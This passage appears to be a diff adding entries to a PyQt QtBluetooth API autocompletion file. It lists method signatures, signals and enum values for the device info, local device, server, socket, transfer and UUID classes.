+QtBluetooth.QBluetoothDeviceInfo.setCached?4(bool) +QtBluetooth.QBluetoothDeviceInfo.address?4() -> QBluetoothAddress +QtBluetooth.QBluetoothDeviceInfo.name?4() -> QString +QtBluetooth.QBluetoothDeviceInfo.serviceClasses?4() -> QBluetoothDeviceInfo.ServiceClasses +QtBluetooth.QBluetoothDeviceInfo.majorDeviceClass?4() -> QBluetoothDeviceInfo.MajorDeviceClass +QtBluetooth.QBluetoothDeviceInfo.minorDeviceClass?4() -> int +QtBluetooth.QBluetoothDeviceInfo.rssi?4() -> int +QtBluetooth.QBluetoothDeviceInfo.setRssi?4(int) +QtBluetooth.QBluetoothDeviceInfo.setServiceUuids?4(unknown-type, QBluetoothDeviceInfo.DataCompleteness) +QtBluetooth.QBluetoothDeviceInfo.setServiceUuids?4(unknown-type) +QtBluetooth.QBluetoothDeviceInfo.serviceUuids?4() -> (unknown-type, QBluetoothDeviceInfo.DataCompleteness) +QtBluetooth.QBluetoothDeviceInfo.serviceUuidsCompleteness?4() -> QBluetoothDeviceInfo.DataCompleteness +QtBluetooth.QBluetoothDeviceInfo.setCoreConfigurations?4(QBluetoothDeviceInfo.CoreConfigurations) +QtBluetooth.QBluetoothDeviceInfo.coreConfigurations?4() -> QBluetoothDeviceInfo.CoreConfigurations +QtBluetooth.QBluetoothDeviceInfo.setDeviceUuid?4(QBluetoothUuid) +QtBluetooth.QBluetoothDeviceInfo.deviceUuid?4() -> QBluetoothUuid +QtBluetooth.QBluetoothDeviceInfo.manufacturerIds?4() -> unknown-type +QtBluetooth.QBluetoothDeviceInfo.manufacturerData?4(int) -> QByteArray +QtBluetooth.QBluetoothDeviceInfo.setManufacturerData?4(int, QByteArray) -> bool +QtBluetooth.QBluetoothDeviceInfo.manufacturerData?4() -> unknown-type +QtBluetooth.QBluetoothDeviceInfo.ServiceClasses?1() +QtBluetooth.QBluetoothDeviceInfo.ServiceClasses.__init__?1(self) +QtBluetooth.QBluetoothDeviceInfo.ServiceClasses?1(int) +QtBluetooth.QBluetoothDeviceInfo.ServiceClasses.__init__?1(self, int) +QtBluetooth.QBluetoothDeviceInfo.ServiceClasses?1(QBluetoothDeviceInfo.ServiceClasses) +QtBluetooth.QBluetoothDeviceInfo.ServiceClasses.__init__?1(self, QBluetoothDeviceInfo.ServiceClasses) +QtBluetooth.QBluetoothDeviceInfo.CoreConfigurations?1() +QtBluetooth.QBluetoothDeviceInfo.CoreConfigurations.__init__?1(self) +QtBluetooth.QBluetoothDeviceInfo.CoreConfigurations?1(int) +QtBluetooth.QBluetoothDeviceInfo.CoreConfigurations.__init__?1(self, int) +QtBluetooth.QBluetoothDeviceInfo.CoreConfigurations?1(QBluetoothDeviceInfo.CoreConfigurations) +QtBluetooth.QBluetoothDeviceInfo.CoreConfigurations.__init__?1(self, QBluetoothDeviceInfo.CoreConfigurations) +QtBluetooth.QBluetoothDeviceInfo.Fields?1() +QtBluetooth.QBluetoothDeviceInfo.Fields.__init__?1(self) +QtBluetooth.QBluetoothDeviceInfo.Fields?1(int) +QtBluetooth.QBluetoothDeviceInfo.Fields.__init__?1(self, int) +QtBluetooth.QBluetoothDeviceInfo.Fields?1(QBluetoothDeviceInfo.Fields) +QtBluetooth.QBluetoothDeviceInfo.Fields.__init__?1(self, QBluetoothDeviceInfo.Fields) +QtBluetooth.QBluetoothHostInfo?1() +QtBluetooth.QBluetoothHostInfo.__init__?1(self) +QtBluetooth.QBluetoothHostInfo?1(QBluetoothHostInfo) +QtBluetooth.QBluetoothHostInfo.__init__?1(self, QBluetoothHostInfo) +QtBluetooth.QBluetoothHostInfo.address?4() -> QBluetoothAddress +QtBluetooth.QBluetoothHostInfo.setAddress?4(QBluetoothAddress) +QtBluetooth.QBluetoothHostInfo.name?4() -> QString +QtBluetooth.QBluetoothHostInfo.setName?4(QString) +QtBluetooth.QBluetoothLocalDevice.Error?10 +QtBluetooth.QBluetoothLocalDevice.Error.NoError?10 +QtBluetooth.QBluetoothLocalDevice.Error.PairingError?10 +QtBluetooth.QBluetoothLocalDevice.Error.UnknownError?10 +QtBluetooth.QBluetoothLocalDevice.HostMode?10 +QtBluetooth.QBluetoothLocalDevice.HostMode.HostPoweredOff?10 +QtBluetooth.QBluetoothLocalDevice.HostMode.HostConnectable?10 +QtBluetooth.QBluetoothLocalDevice.HostMode.HostDiscoverable?10 +QtBluetooth.QBluetoothLocalDevice.HostMode.HostDiscoverableLimitedInquiry?10 +QtBluetooth.QBluetoothLocalDevice.Pairing?10 +QtBluetooth.QBluetoothLocalDevice.Pairing.Unpaired?10 +QtBluetooth.QBluetoothLocalDevice.Pairing.Paired?10 +QtBluetooth.QBluetoothLocalDevice.Pairing.AuthorizedPaired?10 +QtBluetooth.QBluetoothLocalDevice?1(QObject parent=None) +QtBluetooth.QBluetoothLocalDevice.__init__?1(self, QObject parent=None) +QtBluetooth.QBluetoothLocalDevice?1(QBluetoothAddress, QObject parent=None) +QtBluetooth.QBluetoothLocalDevice.__init__?1(self, QBluetoothAddress, QObject parent=None) +QtBluetooth.QBluetoothLocalDevice.isValid?4() -> bool +QtBluetooth.QBluetoothLocalDevice.requestPairing?4(QBluetoothAddress, QBluetoothLocalDevice.Pairing) +QtBluetooth.QBluetoothLocalDevice.pairingStatus?4(QBluetoothAddress) -> QBluetoothLocalDevice.Pairing +QtBluetooth.QBluetoothLocalDevice.setHostMode?4(QBluetoothLocalDevice.HostMode) +QtBluetooth.QBluetoothLocalDevice.hostMode?4() -> QBluetoothLocalDevice.HostMode +QtBluetooth.QBluetoothLocalDevice.powerOn?4() +QtBluetooth.QBluetoothLocalDevice.name?4() -> QString +QtBluetooth.QBluetoothLocalDevice.address?4() -> QBluetoothAddress +QtBluetooth.QBluetoothLocalDevice.allDevices?4() -> unknown-type +QtBluetooth.QBluetoothLocalDevice.connectedDevices?4() -> unknown-type +QtBluetooth.QBluetoothLocalDevice.pairingConfirmation?4(bool) +QtBluetooth.QBluetoothLocalDevice.hostModeStateChanged?4(QBluetoothLocalDevice.HostMode) +QtBluetooth.QBluetoothLocalDevice.pairingFinished?4(QBluetoothAddress, QBluetoothLocalDevice.Pairing) +QtBluetooth.QBluetoothLocalDevice.pairingDisplayPinCode?4(QBluetoothAddress, QString) +QtBluetooth.QBluetoothLocalDevice.pairingDisplayConfirmation?4(QBluetoothAddress, QString) +QtBluetooth.QBluetoothLocalDevice.error?4(QBluetoothLocalDevice.Error) +QtBluetooth.QBluetoothLocalDevice.deviceConnected?4(QBluetoothAddress) +QtBluetooth.QBluetoothLocalDevice.deviceDisconnected?4(QBluetoothAddress) +QtBluetooth.QBluetoothServer.Error?10 +QtBluetooth.QBluetoothServer.Error.NoError?10 +QtBluetooth.QBluetoothServer.Error.UnknownError?10 +QtBluetooth.QBluetoothServer.Error.PoweredOffError?10 +QtBluetooth.QBluetoothServer.Error.InputOutputError?10 +QtBluetooth.QBluetoothServer.Error.ServiceAlreadyRegisteredError?10 +QtBluetooth.QBluetoothServer.Error.UnsupportedProtocolError?10 +QtBluetooth.QBluetoothServer?1(QBluetoothServiceInfo.Protocol, QObject parent=None) +QtBluetooth.QBluetoothServer.__init__?1(self, QBluetoothServiceInfo.Protocol, QObject parent=None) +QtBluetooth.QBluetoothServer.close?4() +QtBluetooth.QBluetoothServer.listen?4(QBluetoothAddress address=QBluetoothAddress(), int port=0) -> bool +QtBluetooth.QBluetoothServer.listen?4(QBluetoothUuid, QString serviceName='') -> QBluetoothServiceInfo +QtBluetooth.QBluetoothServer.isListening?4() -> bool +QtBluetooth.QBluetoothServer.setMaxPendingConnections?4(int) +QtBluetooth.QBluetoothServer.maxPendingConnections?4() -> int +QtBluetooth.QBluetoothServer.hasPendingConnections?4() -> bool +QtBluetooth.QBluetoothServer.nextPendingConnection?4() -> QBluetoothSocket +QtBluetooth.QBluetoothServer.serverAddress?4() -> QBluetoothAddress +QtBluetooth.QBluetoothServer.serverPort?4() -> int +QtBluetooth.QBluetoothServer.setSecurityFlags?4(QBluetooth.SecurityFlags) +QtBluetooth.QBluetoothServer.securityFlags?4() -> QBluetooth.SecurityFlags +QtBluetooth.QBluetoothServer.serverType?4() -> QBluetoothServiceInfo.Protocol +QtBluetooth.QBluetoothServer.error?4() -> QBluetoothServer.Error +QtBluetooth.QBluetoothServer.newConnection?4() +QtBluetooth.QBluetoothServer.error?4(QBluetoothServer.Error) +QtBluetooth.QBluetoothServiceDiscoveryAgent.DiscoveryMode?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.DiscoveryMode.MinimalDiscovery?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.DiscoveryMode.FullDiscovery?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.Error?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.Error.NoError?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.Error.InputOutputError?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.Error.PoweredOffError?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.Error.InvalidBluetoothAdapterError?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent.Error.UnknownError?10 +QtBluetooth.QBluetoothServiceDiscoveryAgent?1(QObject parent=None) +QtBluetooth.QBluetoothServiceDiscoveryAgent.__init__?1(self, QObject parent=None) +QtBluetooth.QBluetoothServiceDiscoveryAgent?1(QBluetoothAddress, QObject parent=None) +QtBluetooth.QBluetoothServiceDiscoveryAgent.__init__?1(self, QBluetoothAddress, QObject parent=None) +QtBluetooth.QBluetoothServiceDiscoveryAgent.isActive?4() -> bool +QtBluetooth.QBluetoothServiceDiscoveryAgent.error?4() -> QBluetoothServiceDiscoveryAgent.Error +QtBluetooth.QBluetoothServiceDiscoveryAgent.errorString?4() -> QString +QtBluetooth.QBluetoothServiceDiscoveryAgent.discoveredServices?4() -> unknown-type +QtBluetooth.QBluetoothServiceDiscoveryAgent.setUuidFilter?4(unknown-type) +QtBluetooth.QBluetoothServiceDiscoveryAgent.setUuidFilter?4(QBluetoothUuid) +QtBluetooth.QBluetoothServiceDiscoveryAgent.uuidFilter?4() -> unknown-type +QtBluetooth.QBluetoothServiceDiscoveryAgent.setRemoteAddress?4(QBluetoothAddress) -> bool +QtBluetooth.QBluetoothServiceDiscoveryAgent.remoteAddress?4() -> QBluetoothAddress +QtBluetooth.QBluetoothServiceDiscoveryAgent.start?4(QBluetoothServiceDiscoveryAgent.DiscoveryMode mode=QBluetoothServiceDiscoveryAgent.MinimalDiscovery) +QtBluetooth.QBluetoothServiceDiscoveryAgent.stop?4() +QtBluetooth.QBluetoothServiceDiscoveryAgent.clear?4() +QtBluetooth.QBluetoothServiceDiscoveryAgent.serviceDiscovered?4(QBluetoothServiceInfo) +QtBluetooth.QBluetoothServiceDiscoveryAgent.finished?4() +QtBluetooth.QBluetoothServiceDiscoveryAgent.canceled?4() +QtBluetooth.QBluetoothServiceDiscoveryAgent.error?4(QBluetoothServiceDiscoveryAgent.Error) +QtBluetooth.QBluetoothServiceInfo.Protocol?10 +QtBluetooth.QBluetoothServiceInfo.Protocol.UnknownProtocol?10 +QtBluetooth.QBluetoothServiceInfo.Protocol.L2capProtocol?10 +QtBluetooth.QBluetoothServiceInfo.Protocol.RfcommProtocol?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceRecordHandle?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceClassIds?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceRecordState?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceId?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ProtocolDescriptorList?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.BrowseGroupList?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.LanguageBaseAttributeIdList?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceInfoTimeToLive?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceAvailability?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.BluetoothProfileDescriptorList?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.DocumentationUrl?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ClientExecutableUrl?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.IconUrl?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.AdditionalProtocolDescriptorList?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.PrimaryLanguageBase?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceName?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceDescription?10 +QtBluetooth.QBluetoothServiceInfo.AttributeId.ServiceProvider?10 +QtBluetooth.QBluetoothServiceInfo?1() +QtBluetooth.QBluetoothServiceInfo.__init__?1(self) +QtBluetooth.QBluetoothServiceInfo?1(QBluetoothServiceInfo) +QtBluetooth.QBluetoothServiceInfo.__init__?1(self, QBluetoothServiceInfo) +QtBluetooth.QBluetoothServiceInfo.isValid?4() -> bool +QtBluetooth.QBluetoothServiceInfo.isComplete?4() -> bool +QtBluetooth.QBluetoothServiceInfo.setDevice?4(QBluetoothDeviceInfo) +QtBluetooth.QBluetoothServiceInfo.device?4() -> QBluetoothDeviceInfo +QtBluetooth.QBluetoothServiceInfo.attribute?4(int) -> QVariant +QtBluetooth.QBluetoothServiceInfo.attributes?4() -> unknown-type +QtBluetooth.QBluetoothServiceInfo.contains?4(int) -> bool +QtBluetooth.QBluetoothServiceInfo.removeAttribute?4(int) +QtBluetooth.QBluetoothServiceInfo.socketProtocol?4() -> QBluetoothServiceInfo.Protocol +QtBluetooth.QBluetoothServiceInfo.protocolServiceMultiplexer?4() -> int +QtBluetooth.QBluetoothServiceInfo.serverChannel?4() -> int +QtBluetooth.QBluetoothServiceInfo.protocolDescriptor?4(QBluetoothUuid.ProtocolUuid) -> Sequence +QtBluetooth.QBluetoothServiceInfo.isRegistered?4() -> bool +QtBluetooth.QBluetoothServiceInfo.registerService?4(QBluetoothAddress localAdapter=QBluetoothAddress()) -> bool +QtBluetooth.QBluetoothServiceInfo.unregisterService?4() -> bool +QtBluetooth.QBluetoothServiceInfo.setAttribute?4(int, QBluetoothUuid) +QtBluetooth.QBluetoothServiceInfo.setAttribute?4(int, Sequence) +QtBluetooth.QBluetoothServiceInfo.setAttribute?4(int, QVariant) +QtBluetooth.QBluetoothServiceInfo.setServiceName?4(QString) +QtBluetooth.QBluetoothServiceInfo.serviceName?4() -> QString +QtBluetooth.QBluetoothServiceInfo.setServiceDescription?4(QString) +QtBluetooth.QBluetoothServiceInfo.serviceDescription?4() -> QString +QtBluetooth.QBluetoothServiceInfo.setServiceProvider?4(QString) +QtBluetooth.QBluetoothServiceInfo.serviceProvider?4() -> QString +QtBluetooth.QBluetoothServiceInfo.setServiceAvailability?4(int) +QtBluetooth.QBluetoothServiceInfo.serviceAvailability?4() -> int +QtBluetooth.QBluetoothServiceInfo.setServiceUuid?4(QBluetoothUuid) +QtBluetooth.QBluetoothServiceInfo.serviceUuid?4() -> QBluetoothUuid +QtBluetooth.QBluetoothServiceInfo.serviceClassUuids?4() -> unknown-type +QtBluetooth.QBluetoothSocket.SocketError?10 +QtBluetooth.QBluetoothSocket.SocketError.NoSocketError?10 +QtBluetooth.QBluetoothSocket.SocketError.UnknownSocketError?10 +QtBluetooth.QBluetoothSocket.SocketError.HostNotFoundError?10 +QtBluetooth.QBluetoothSocket.SocketError.ServiceNotFoundError?10 +QtBluetooth.QBluetoothSocket.SocketError.NetworkError?10 +QtBluetooth.QBluetoothSocket.SocketError.UnsupportedProtocolError?10 +QtBluetooth.QBluetoothSocket.SocketError.OperationError?10 +QtBluetooth.QBluetoothSocket.SocketError.RemoteHostClosedError?10 +QtBluetooth.QBluetoothSocket.SocketState?10 +QtBluetooth.QBluetoothSocket.SocketState.UnconnectedState?10 +QtBluetooth.QBluetoothSocket.SocketState.ServiceLookupState?10 +QtBluetooth.QBluetoothSocket.SocketState.ConnectingState?10 +QtBluetooth.QBluetoothSocket.SocketState.ConnectedState?10 +QtBluetooth.QBluetoothSocket.SocketState.BoundState?10 +QtBluetooth.QBluetoothSocket.SocketState.ClosingState?10 +QtBluetooth.QBluetoothSocket.SocketState.ListeningState?10 +QtBluetooth.QBluetoothSocket?1(QBluetoothServiceInfo.Protocol, QObject parent=None) +QtBluetooth.QBluetoothSocket.__init__?1(self, QBluetoothServiceInfo.Protocol, QObject parent=None) +QtBluetooth.QBluetoothSocket?1(QObject parent=None) +QtBluetooth.QBluetoothSocket.__init__?1(self, QObject parent=None) +QtBluetooth.QBluetoothSocket.abort?4() +QtBluetooth.QBluetoothSocket.close?4() +QtBluetooth.QBluetoothSocket.isSequential?4() -> bool +QtBluetooth.QBluetoothSocket.bytesAvailable?4() -> int +QtBluetooth.QBluetoothSocket.bytesToWrite?4() -> int +QtBluetooth.QBluetoothSocket.canReadLine?4() -> bool +QtBluetooth.QBluetoothSocket.connectToService?4(QBluetoothServiceInfo, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtBluetooth.QBluetoothSocket.connectToService?4(QBluetoothAddress, QBluetoothUuid, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtBluetooth.QBluetoothSocket.connectToService?4(QBluetoothAddress, int, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtBluetooth.QBluetoothSocket.disconnectFromService?4() +QtBluetooth.QBluetoothSocket.localName?4() -> QString +QtBluetooth.QBluetoothSocket.localAddress?4() -> QBluetoothAddress +QtBluetooth.QBluetoothSocket.localPort?4() -> int +QtBluetooth.QBluetoothSocket.peerName?4() -> QString +QtBluetooth.QBluetoothSocket.peerAddress?4() -> QBluetoothAddress +QtBluetooth.QBluetoothSocket.peerPort?4() -> int +QtBluetooth.QBluetoothSocket.setSocketDescriptor?4(int, QBluetoothServiceInfo.Protocol, QBluetoothSocket.SocketState state=QBluetoothSocket.ConnectedState, QIODevice.OpenMode mode=QIODevice.ReadWrite) -> bool +QtBluetooth.QBluetoothSocket.socketDescriptor?4() -> int +QtBluetooth.QBluetoothSocket.socketType?4() -> QBluetoothServiceInfo.Protocol +QtBluetooth.QBluetoothSocket.state?4() -> QBluetoothSocket.SocketState +QtBluetooth.QBluetoothSocket.error?4() -> QBluetoothSocket.SocketError +QtBluetooth.QBluetoothSocket.errorString?4() -> QString +QtBluetooth.QBluetoothSocket.connected?4() +QtBluetooth.QBluetoothSocket.disconnected?4() +QtBluetooth.QBluetoothSocket.error?4(QBluetoothSocket.SocketError) +QtBluetooth.QBluetoothSocket.stateChanged?4(QBluetoothSocket.SocketState) +QtBluetooth.QBluetoothSocket.readData?4(int) -> object +QtBluetooth.QBluetoothSocket.writeData?4(bytes) -> int +QtBluetooth.QBluetoothSocket.setSocketState?4(QBluetoothSocket.SocketState) +QtBluetooth.QBluetoothSocket.setSocketError?4(QBluetoothSocket.SocketError) +QtBluetooth.QBluetoothSocket.doDeviceDiscovery?4(QBluetoothServiceInfo, QIODevice.OpenMode) +QtBluetooth.QBluetoothSocket.setPreferredSecurityFlags?4(QBluetooth.SecurityFlags) +QtBluetooth.QBluetoothSocket.preferredSecurityFlags?4() -> QBluetooth.SecurityFlags +QtBluetooth.QBluetoothTransferManager?1(QObject parent=None) +QtBluetooth.QBluetoothTransferManager.__init__?1(self, QObject parent=None) +QtBluetooth.QBluetoothTransferManager.put?4(QBluetoothTransferRequest, QIODevice) -> QBluetoothTransferReply +QtBluetooth.QBluetoothTransferManager.finished?4(QBluetoothTransferReply) +QtBluetooth.QBluetoothTransferReply.TransferError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.NoError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.UnknownError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.FileNotFoundError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.HostNotFoundError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.UserCanceledTransferError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.IODeviceNotReadableError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.ResourceBusyError?10 +QtBluetooth.QBluetoothTransferReply.TransferError.SessionError?10 +QtBluetooth.QBluetoothTransferReply?1(QObject parent=None) +QtBluetooth.QBluetoothTransferReply.__init__?1(self, QObject parent=None) +QtBluetooth.QBluetoothTransferReply.isFinished?4() -> bool +QtBluetooth.QBluetoothTransferReply.isRunning?4() -> bool +QtBluetooth.QBluetoothTransferReply.manager?4() -> QBluetoothTransferManager +QtBluetooth.QBluetoothTransferReply.error?4() -> QBluetoothTransferReply.TransferError +QtBluetooth.QBluetoothTransferReply.errorString?4() -> QString +QtBluetooth.QBluetoothTransferReply.request?4() -> QBluetoothTransferRequest +QtBluetooth.QBluetoothTransferReply.abort?4() +QtBluetooth.QBluetoothTransferReply.finished?4(QBluetoothTransferReply) +QtBluetooth.QBluetoothTransferReply.transferProgress?4(int, int) +QtBluetooth.QBluetoothTransferReply.error?4(QBluetoothTransferReply.TransferError) +QtBluetooth.QBluetoothTransferReply.setManager?4(QBluetoothTransferManager) +QtBluetooth.QBluetoothTransferReply.setRequest?4(QBluetoothTransferRequest) +QtBluetooth.QBluetoothTransferRequest.Attribute?10 +QtBluetooth.QBluetoothTransferRequest.Attribute.DescriptionAttribute?10 +QtBluetooth.QBluetoothTransferRequest.Attribute.TimeAttribute?10 +QtBluetooth.QBluetoothTransferRequest.Attribute.TypeAttribute?10 +QtBluetooth.QBluetoothTransferRequest.Attribute.LengthAttribute?10 +QtBluetooth.QBluetoothTransferRequest.Attribute.NameAttribute?10 +QtBluetooth.QBluetoothTransferRequest?1(QBluetoothAddress address=QBluetoothAddress()) +QtBluetooth.QBluetoothTransferRequest.__init__?1(self, QBluetoothAddress address=QBluetoothAddress()) +QtBluetooth.QBluetoothTransferRequest?1(QBluetoothTransferRequest) +QtBluetooth.QBluetoothTransferRequest.__init__?1(self, QBluetoothTransferRequest) +QtBluetooth.QBluetoothTransferRequest.attribute?4(QBluetoothTransferRequest.Attribute, QVariant defaultValue=None) -> QVariant +QtBluetooth.QBluetoothTransferRequest.setAttribute?4(QBluetoothTransferRequest.Attribute, QVariant) +QtBluetooth.QBluetoothTransferRequest.address?4() -> QBluetoothAddress +QtBluetooth.QBluetoothUuid.DescriptorType?10 +QtBluetooth.QBluetoothUuid.DescriptorType.UnknownDescriptorType?10 +QtBluetooth.QBluetoothUuid.DescriptorType.CharacteristicExtendedProperties?10 +QtBluetooth.QBluetoothUuid.DescriptorType.CharacteristicUserDescription?10 +QtBluetooth.QBluetoothUuid.DescriptorType.ClientCharacteristicConfiguration?10 +QtBluetooth.QBluetoothUuid.DescriptorType.ServerCharacteristicConfiguration?10 +QtBluetooth.QBluetoothUuid.DescriptorType.CharacteristicPresentationFormat?10 +QtBluetooth.QBluetoothUuid.DescriptorType.CharacteristicAggregateFormat?10 +QtBluetooth.QBluetoothUuid.DescriptorType.ValidRange?10 +QtBluetooth.QBluetoothUuid.DescriptorType.ExternalReportReference?10 +QtBluetooth.QBluetoothUuid.DescriptorType.ReportReference?10 +QtBluetooth.QBluetoothUuid.DescriptorType.EnvironmentalSensingConfiguration?10 +QtBluetooth.QBluetoothUuid.DescriptorType.EnvironmentalSensingMeasurement?10 +QtBluetooth.QBluetoothUuid.DescriptorType.EnvironmentalSensingTriggerSetting?10 +QtBluetooth.QBluetoothUuid.CharacteristicType?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DeviceName?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Appearance?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.PeripheralPrivacyFlag?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ReconnectionAddress?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.PeripheralPreferredConnectionParameters?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ServiceChanged?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AlertLevel?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TxPowerLevel?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DateTime?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DayOfWeek?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DayDateTime?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ExactTime256?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.DSTOffset?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TimeZone?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.LocalTimeInformation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TimeWithDST?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TimeAccuracy?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TimeSource?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ReferenceTimeInformation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TimeUpdateControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TimeUpdateState?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.GlucoseMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BatteryLevel?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TemperatureMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.TemperatureType?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.IntermediateTemperature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.MeasurementInterval?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BootKeyboardInputReport?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SystemID?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ModelNumberString?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SerialNumberString?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.FirmwareRevisionString?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HardwareRevisionString?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SoftwareRevisionString?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ManufacturerNameString?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.IEEE1107320601RegulatoryCertificationDataList?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CurrentTime?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ScanRefresh?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BootKeyboardOutputReport?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BootMouseInputReport?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.GlucoseMeasurementContext?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BloodPressureMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.IntermediateCuffPressure?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HeartRateMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BodySensorLocation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HeartRateControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AlertStatus?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.RingerControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.RingerSetting?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AlertCategoryIDBitMask?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AlertCategoryID?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.AlertNotificationControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.UnreadAlertStatus?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.NewAlert?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SupportedNewAlertCategory?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SupportedUnreadAlertCategory?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.BloodPressureFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HIDInformation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ReportMap?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.HIDControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Report?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ProtocolMode?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.ScanIntervalWindow?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.PnPID?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.GlucoseFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.RecordAccessControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.RSCMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.RSCFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SCControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CSCMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CSCFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.SensorLocation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CyclingPowerMeasurement?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CyclingPowerVector?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CyclingPowerFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.CyclingPowerControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.LocationAndSpeed?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.Navigation?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.PositionQuality?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.LNFeature?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.LNControlPoint?10 +QtBluetooth.QBluetoothUuid.CharacteristicType.MagneticDeclination?10 